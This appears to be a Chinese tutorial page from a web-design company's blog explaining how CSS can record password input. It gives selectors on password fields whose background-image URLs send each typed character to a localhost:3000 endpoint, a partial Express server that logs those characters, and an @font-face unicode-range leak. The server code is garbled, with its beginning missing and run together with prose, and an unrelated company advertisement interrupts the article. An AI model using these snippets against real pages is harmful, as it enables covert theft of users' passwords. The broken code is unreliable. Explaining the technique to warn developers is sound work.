這篇“CSS怎么實(shí)現(xiàn)記錄用戶(hù)密碼功能”文章的知識(shí)點(diǎn)大部分人都不太理解，所以小編給大家總結(jié)了以下內(nèi)容，內(nèi)容詳細(xì)，步驟清晰，具有一定的借鑒價(jià)值，希望大家閱讀完這篇文章能有所收獲，下面我們一起來(lái)看看這篇“CSS怎么實(shí)現(xiàn)記錄用戶(hù)密碼功能”文章吧。

仙居網(wǎng)站制作公司哪家好，找成都創(chuàng)新互聯(lián)！從網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、APP開(kāi)發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項(xiàng)目制作，到程序開(kāi)發(fā)，運(yùn)營(yíng)維護(hù)。成都創(chuàng)新互聯(lián)2013年至今到現(xiàn)在10年的時(shí)間，我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn)，來(lái)保證我們的工作的順利進(jìn)行。專(zhuān)注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)。

簡(jiǎn)單的CSS代碼，甚至不符合圖靈完備的語(yǔ)言，但是也能成為一些攻擊者的工具，下面簡(jiǎn)單介紹一下如何使用CSS去記錄用戶(hù)的密碼。但是這些CSS腳本會(huì)出現(xiàn)在第三方CSS庫(kù)中，所以使用第三方CSS庫(kù)也需要謹(jǐn)慎，確保代碼安全。直接上代碼解析：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是部分代碼,我們來(lái)解析一下CSS代碼

input[type="password"]是css選擇器，作用是選擇密碼輸入框， [value$="0"]表示匹配輸入的值是以0結(jié)尾的。所以：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代碼的意思就是如果你在密碼框中輸入0，就去請(qǐng)求http://localhost:3000/0接口，但是瀏覽器默認(rèn)情況下是不會(huì)將用戶(hù)輸入的值存儲(chǔ)在value屬性中，但是有的框架會(huì)同步這些值，例如React。

所以只要使用了如下圖的腳本就能去存儲(chǔ)用戶(hù)的輸入數(shù)據(jù)信息。

我們?cè)賮?lái)看一下 {    process.stdout.write(req.params.key);    return res.sendStatus(400); }); app.listen(3000, () => console.log("啟動(dòng)，監(jiān)聽(tīng)3000端口"));

使用express創(chuàng)建服務(wù)器，監(jiān)聽(tīng)3000端口，只要請(qǐng)求http://localhost:3000/:key，就能輸出key的值，就能在服務(wù)器上記錄輸入的值。所以只要在每輸入一個(gè)值都匹配，然后通過(guò) background-image 去請(qǐng)求一個(gè)已經(jīng)準(zhǔn)備好的接口，就能記錄用戶(hù)的輸入。類(lèi)似的方法記錄用戶(hù)的內(nèi)容的CSS代碼@font-face {  

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

你使用的的css的簡(jiǎn)單的字體庫(kù)，只要你的頁(yè)面中包含a，就會(huì)去請(qǐng)求http://localhost:3000/a，這樣就能知道你的頁(yè)面中包含有a字符。

以上就是關(guān)于“CSS怎么實(shí)現(xiàn)記錄用戶(hù)密碼功能”這篇文章的內(nèi)容，相信大家都有了一定的了解，希望小編分享的內(nèi)容對(duì)大家有幫助，若想了解更多相關(guān)的知識(shí)內(nèi)容，請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。